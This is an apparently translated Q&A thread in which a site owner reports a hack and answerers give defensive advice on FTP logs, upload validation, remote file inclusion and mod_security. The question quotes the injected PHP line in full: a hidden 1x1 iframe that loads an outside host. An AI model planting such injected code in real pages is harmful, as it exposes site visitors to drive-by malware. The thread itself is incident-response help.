可能重复:
我的服务器被黑了 紧急
有人入侵我们的网站,并在我们的主页 (index.php):: 下面的代码中插入以下行,bottom.php 是我们自己的文件,入侵者"echo <iframe .... >;"
在我们的“include_once”代码之间放置了行。
<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>
请帮助我防止这种侵入。
PHP 版本 5.2.9,系统:Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 #1 SMP Fri Dec 21 15:45:17 PST 2007 i686
如果您还没有这样做,那么您应该做的第一件事是在确定原因时尽可能多地锁定服务器。在一个理想的世界里,当我发现发生了什么时,我会让机器离线。
尝试确定造成这种情况的根本原因是什么(请原谅双关语)。如果这是对 http 的某种攻击,请找出它的来源,以及可能受到的其他攻击。这可能是整个盒子的妥协吗?
您的内核大约有 2 年的历史,您的 PHP 不是该分支的最新版本。我猜你的 apache 安装也不是。您是否为该站点使用已安装的 CMS 类型的软件包?这是最新的吗?您是否删除了任何安装目录?文件的权限是什么?
如果是我:
这可能是对您的问题的完全过度反应,但是在您知道“污损”的规模之前,您将不知道要采取多远。
首先,检查有关 index.php 的 FTP 传输日志并检查连接的 IP - 它们是否来自中国、俄罗斯等外国。如果为真 - 更改 FTP 密码,清理站点并恶意软件扫描所有使用/保存密码的 PC。恶意软件窃取保存的密码或包含键盘记录器是很常见的,这些密码被发送给入侵者并用于使站点分发/托管恶意软件。另外,请记住 FTP 以明文形式发送所有密码,因此不要在打开 wifi 或其他不受信任的网络时使用它。
如果这不起作用,请检查网站: a) 文件上传脚本。检查文件路径/路径验证。另外,检查文件类型是否真的经过验证,而不仅仅是扩展名。Apache mod mime 具有不安全的“功能”,因此像 evilscript.php.gif 这样的文件将作为 php 执行。参考:
“当具有多个扩展名的文件同时与 MIME 类型和处理程序相关联时,应小心。这通常会导致请求来自与处理程序关联的模块。例如,如果 .imap 扩展名映射到处理程序 imap 文件(来自 mod_imap)和 .html 扩展名映射到 MIME 类型 text/html,然后文件 world.imap.html 将与 imap 文件处理程序和 text/html MIME 类型相关联. 处理时,将使用 imap-file 处理程序,因此将其视为 mod_imap 图像映射文件。
解决方案:在移动上传文件的目录上禁用 php。
b) 包括|要求 (_once) 。它们可用于远程文件包含,因此攻击者可以编写 php 脚本,该脚本将在服务器上执行并可以更改/删除文件。寻找类似 include ($_GET | $_POST | $_COOKIE | $_REQUEST | $_SERVER)(.?*) 解决方案:禁用 remote_fopen,如果您的站点不需要它们。否则,请执行相同的正确输入验证(这将是明智的做法:)。另外,我建议禁用 register_globals。
c) 评估用户输入/远程文件。请记住,用户输入可以驻留在数据库中。
此外,请检查您的网站是否有上传的后门,即所谓的“shell”。最安全的做法是从已知的安全备份中恢复 :)
有很多方法可以做到这一点。您的主页上是否有任何输入字段或(另一个)可能被错误地解析以进行攻击尝试?
首先使 PHP 文件对 web 服务器可读但不可写。其次检查您的各种输入字段是否有可能被利用。
它最近非常流行,恶意软件会窃取保存的密码 [通常来自总指挥官] 并将这些凭据发送到指挥中心。稍后在其他机器上通过 ftp 连接,下载 index.php/html 并附加恶意 js/php。全部自动化。
在 apache 中限制对 web 应用程序的攻击的一种方法是加载和微调 apache 的 mod_security
链接:看这篇介绍 mod_security 的文章